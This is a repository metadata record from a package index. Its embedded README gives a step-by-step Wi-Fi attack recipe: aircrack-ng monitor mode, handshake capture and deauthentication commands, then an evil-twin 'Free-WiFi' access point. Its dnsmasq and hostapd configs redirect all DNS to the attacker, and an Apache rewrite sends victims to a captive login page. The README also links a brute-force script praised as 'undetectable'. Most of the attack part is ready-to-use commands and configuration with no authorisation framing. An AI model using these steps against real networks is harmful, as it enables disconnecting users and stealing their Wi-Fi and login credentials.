{"id":22268853,"url":"https://github.com/anlominus/hackingwifi","last_synced_at":"2025-07-28T12:31:25.707Z","repository":{"id":53873644,"uuid":"497116828","full_name":"AnLoMinus/HacKingWiFi","owner":"AnLoMinus","description":"HacKingWiFi ","archived":false,"fork":false,"pushed_at":"2022-08-05T20:52:11.000Z","size":53,"stargazers_count":7,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2023-03-04T11:46:42.099Z","etag":null,"topics":["hacking","hackingwifi","wifi","wifi-configuration","wifi-hacking","wifi-network","wifi-security","wireless","wireless-network","wireless-security"],"latest_commit_sha":null,"homepage":"","language":"Shell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/AnLoMinus.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-05-27T19:36:13.000Z","updated_at":"2023-03-04T03:39:09.000Z","dependencies_parsed_at":"2022-09-05T01:41:35.929Z","dependency_job_id":null,"html_url":"https://github.com/AnLoMinus/HacKingWiFi","commit_stats":null,"previous_names":[],"tags_count":null,"template":null,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AnLoMinus%2FHacKingWiFi","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AnLoMinus%2FHacKingWiFi/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AnLoMinus%2FHacKingWiFi/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AnLoMinus%2FHacKingWiFi/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/AnLoMinus","download_url":"https://codeload.github.com/AnLoMinus/HacKingWiFi/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":227905506,"owners_count":17837906,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["hacking","hackingwifi","wifi","wifi-configuration","wifi-hacking","wifi-network","wifi-security","wireless","wireless-network","wireless-security"],"created_at":"2024-12-03T11:14:07.224Z","updated_at":"2024-12-03T11:14:08.009Z","avatar_url":"https://github.com/AnLoMinus.png","language":"Shell","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003e בס״ד\n\u003cdiv align=\"center\"\u003e\n\n\u003cimg align=\"center\" width=\"100\" src=\"https://user-images.githubusercontent.com/51442719/172729066-1293d382-4a31-4f03-8c23-ab0ea5f611a0.png\"\u003e\n\n⫷ [`HacKingPro`](https://github.com/Anlominus/HacKingPro) ⫸\n\u003cbr\u003e\n⫷ [`TryHackMe`](https://github.com/Anlominus/TryHackMe) | [`KoTH`](https://github.com/Anlominus/TryHackMe/tree/main/King%20of%20the%20Hill/KoTH) ⫸ \n\u003cbr\u003e\n⫷ [`ScanPro`](https://github.com/Anlominus/ScanPro) | [`Linfo`](https://github.com/Anlominus/Linfo) | [`Diablo`](https://github.com/Anlominus/Diablo) ⫸ \n\u003cbr\u003e\n⫷ [`Offensive-Security`](https://github.com/Anlominus/Offensive-Security) | [`PenTest`](https://github.com/Anlominus/PenTest) ⫸\n\u003cbr\u003e\n⫷ [`Goals`](https://github.com/Anlominus/Goals) | [`Studies`](https://github.com/Anlominus/Studies) | [`HacKing`](https://github.com/Anlominus/HacKing) | [`AnyTeam`](https://github.com/Anlominus/AnyTeam) ⫸\n\u003cbr\u003e\n\n\u003c/div\u003e\n\n---\n\n\n  \u003ca href=\"\"\u003e\u003cbr\u003e\u003cimg title=\"Made in ISRAEL\" src=\"https://img.shields.io/badge/MADE%20IN-ISRAEL-blue?style=for-the-badge\"\u003e\u003c/a\u003e\n\n# HacKingWiFi\n## HacKingWiFi \n### Algorithm Commands to HacKing WiFi \n\n# [1] Choosing Wireless Adapter / Get Interface:\n  - [1.1] Cheking for Wireless Network interface: `iwconfig`  \n  - [1.2] Cheking for Wireless Network interface: `ifconfig`\n\n---\n\n# [2] Start Monitoring Mode \u0026 Checking Injection Option \n  - [2.1] Starting Monitor mode: `airmon-ng start $INTERFACE`\n  - [2.2] Monitoring: `aireplay-ng --test $INTERFACE`\n\n---\n  \n# [3] Scan Wireless’s Area\n  - [3.1] Sniff Networks Area Information : `airodump-ng $INTERFACE`\n  - [3.2] Start Capturing Packets: `airodump-ng --bssid $BSSID -c $CHANNEL_NUMBER -w $OUTPUT_NAME $INTERFACE`\n  - [3.3] Inject Packets into Wireless Network: `aireplay-ng --deauth 10 -a $MAC_TARGET $INTERFACE`\n\n---\n\n# [4] Analysis Captured Files With WireShark:\n  - [4.1] Start WireShark: `wireshark $OUTPUT_NAME.cap`\n    - Looking for Authentication Files\n\n---\n\n# [5] Set Up Access point:\n  - [5.1] Create dnsmasq Configuration files: `nano dnsmasq.conf`\n```SHELL\n#Set the wireless interface\ninterface=wlan0\n\n#Set the IP range for the clients\ndhcp-range=192.168.1.2,192.168.1.250,12h\n\n#Set the gateway IP address\ndhcp-option=3,192.168.1.1\n\n#Set DNS server address\ndhcp-option=6,192.168.1.1\n\n#Redirect all requests to 192.168.1.1\naddress=/#/192.168.1.1\n```\n  - [5.2] Create hostpad Configuration file: `nano hostapd.conf` \n```SHELL\n#Set wireless interface\ninterface=wlan0\n\n#Set network name\nssid=Free-WiFi\n\n#Set channel\nchannel=11\n\n#Set driver\ndriver=nl80211\n```\n  - [5.3] Run Commands 1: `dnsmasq -C /directory_to_dnsmasq.conf`\n  - [5.4] Run Commands 2: `hostapd /directory_to_hostapd.conf -B`\n  - [5.5] Create a Fake Access Point with the Name: `airbase-ng -e $WIRELESS_NETWORK -c $CHANNEL $INTERFACE` \n\n---\n\n# [6] Setting up Captive Portal\n  - [6.1] Download and Move Portal files to `/var/www/html`\n  - [6.2] Edit `nano /etc/apache2/sites-enabled/000-default.conf` \u0026 Add to end of it:\n```shell\n\n\u003cDirectory \"/var/www/html\"\u003e\nRewriteEngine On\nRewriteBase /\nRewriteCond %{HTTP_HOST} ^www\\.(.*)$ [NC]\nRewriteRule ^(.*)$ http://%1/$1 [R=301,L]\n\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule ^(.*)$ / [L,QSA]\n\u003c/Directory\u003e\n\n```\n  - [6.3] Start Apache2 Server: `sudo service apache2 start`\n  - [6.4] Connect to `Free-WiFi`, and that will been automatically redirected to the logging page.\n \n ---\n \n # Sources\n \n - Learning: [WiFi Hacking using Evil Twin Attacks and Captive Portals](https://github.com/Anlominus/Studies/tree/main/Udemy/IT%20%26%20Software/Network%20%26%20Security/Security%20HacKing/WiFi%20Hacking%20using%20Evil%20Twin%20Attacks%20and%20Captive%20Portals)\n- Tool: [EvilAP_Defender](https://github.com/moha99sa/EvilAP_Defender)\n- [WiFi Penetration Testing Guide](https://github.com/ricardojoserf/wifi-pentesting-guide)\n- [WifiBF](https://github.com/Squuv/WifiBF) ~ This is a wifi Brute Force. script undetectable and secure!\n- \n\n\n---\n\n![Alt](https://repobeats.axiom.co/api/embed/7744ec1728e3e44cc7921678a5d5a314e096fe97.svg \"Repobeats analytics image\")\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fanlominus%2Fhackingwifi","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fanlominus%2Fhackingwifi","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fanlominus%2Fhackingwifi/lists"}